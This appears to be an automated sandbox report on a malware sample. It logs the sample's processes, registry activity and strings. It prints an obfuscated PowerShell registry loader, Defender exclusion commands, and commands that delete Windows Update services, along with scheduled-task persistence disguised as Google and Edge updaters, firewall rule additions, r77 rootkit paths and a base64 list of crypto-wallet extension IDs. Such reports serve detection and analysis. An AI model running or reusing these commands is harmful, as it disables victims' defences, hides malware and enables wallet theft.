Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
Source: unknown	Process created: C:\Program Files\Google\Chrome\updater.exe C:\Program Files\Google\Chrome\updater.exe
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

Code function: 0_2_0041F940 RegCreateKeyA,RegSetValueA,GetUserNameA,RegCloseKey,RegOpenKeyExA,AdjustTokenPrivileges,LookupPrivilegeValueA,OpenProcessToken,RegQueryValueExA,RegDeleteKeyA,

0_2_0041F940

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERE694.tmp

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: 0.3.FKN6uh7y01.exe.6f0000.0.unpack, BrEx.cs

Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6948:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6040
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7068:120:WilError_01
Source: C:\Users\user\AppData\Local\Google\brave.exe	Mutant created: \Sessions\1\BaseNamedObjects\FeLhAaAa__shmem3_winpthreads_tdm_
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:46960:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6616:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6432:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:46640:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7060:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:944:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1256:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5836:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:47032:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1316:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6052:120:WilError_01
Source: C:\Windows\GoogleUpdate.exe	Mutant created: \Sessions\1\BaseNamedObjects\GoogleUpdate{825b2ad2-5778-421f-86b5-fbf0592aa463}
Source: C:\Program Files\Google\Chrome\updater.exe	Mutant created: \BaseNamedObjects\EmBnAaAa__shmem3_winpthreads_tdm_
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5892:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4768:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6468:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3208:120:WilError_01

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\GoogleUpdate.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\GoogleUpdate.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source:	Binary string: GoogleUpdate_unsigned.pdb source: GoogleUpdate.exe, 00000026.00000000.433325923.0000000001151000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\Release\r77-x86.pdb source: ofg.exe, 00000009.00000002.599703591.0000000000E40000.00000040.00001000.00020000.00000000.sdmp, ofg.exe, 00000009.00000002.599327356.0000000000DB0000.00000040.00000400.00020000.00000000.sdmp, ofg.exe, 0000000C.00000002.596678477.0000000000E70000.00000040.00000400.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000002.633723034.00000000016F0000.00000040.00001000.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000002.596306810.0000000000970000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb source: brave.exe, 00000006.00000002.505821855.0000012492082000.00000004.00000020.00020000.00000000.sdmp, 33C5.tmp.6.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb- source: brave.exe, 00000006.00000002.505821855.0000012492082000.00000004.00000020.00020000.00000000.sdmp, 33C5.tmp.6.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: updater.exe, 00000041.00000002.599121882.000002B7FCC50000.00000040.00000400.00020000.00000000.sdmp, updater.exe, 00000041.00000002.601583178.000002B7FCF50000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\Install.pdb source: brave.exe, 00000006.00000002.505821855.0000012492082000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000038.00000000.493487911.00007FF797CED000.00000002.00000001.01000000.00000000.sdmp, dialer.exe, 00000038.00000002.509446791.00007FF797CED000.00000002.00000001.01000000.00000000.sdmp, 33C5.tmp.6.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Windows\GoogleUpdate.exe

Unpacked PE file: 38.2.GoogleUpdate.exe.1150000.1.unpack

Detected unpacking (changes PE section rights)

Source: C:\Windows\GoogleUpdate.exe

Unpacked PE file: 38.2.GoogleUpdate.exe.1150000.1.unpack .text:ER;.data:W;.idata:R;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Obfuscated command line found

Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"

Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0040FADE push ecx; ret	0_2_0040FAF1
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_0042E31C push es; iretd	0_2_0042E332
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: 0_2_00414D31 push ecx; ret	0_2_00414D44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05069102 push E802005Eh; ret	2_2_05069109

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

Code function: 0_2_0041B5BC LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

0_2_0041B5BC

Source: brave.exe.2.dr	Static PE information: section name: .xdata
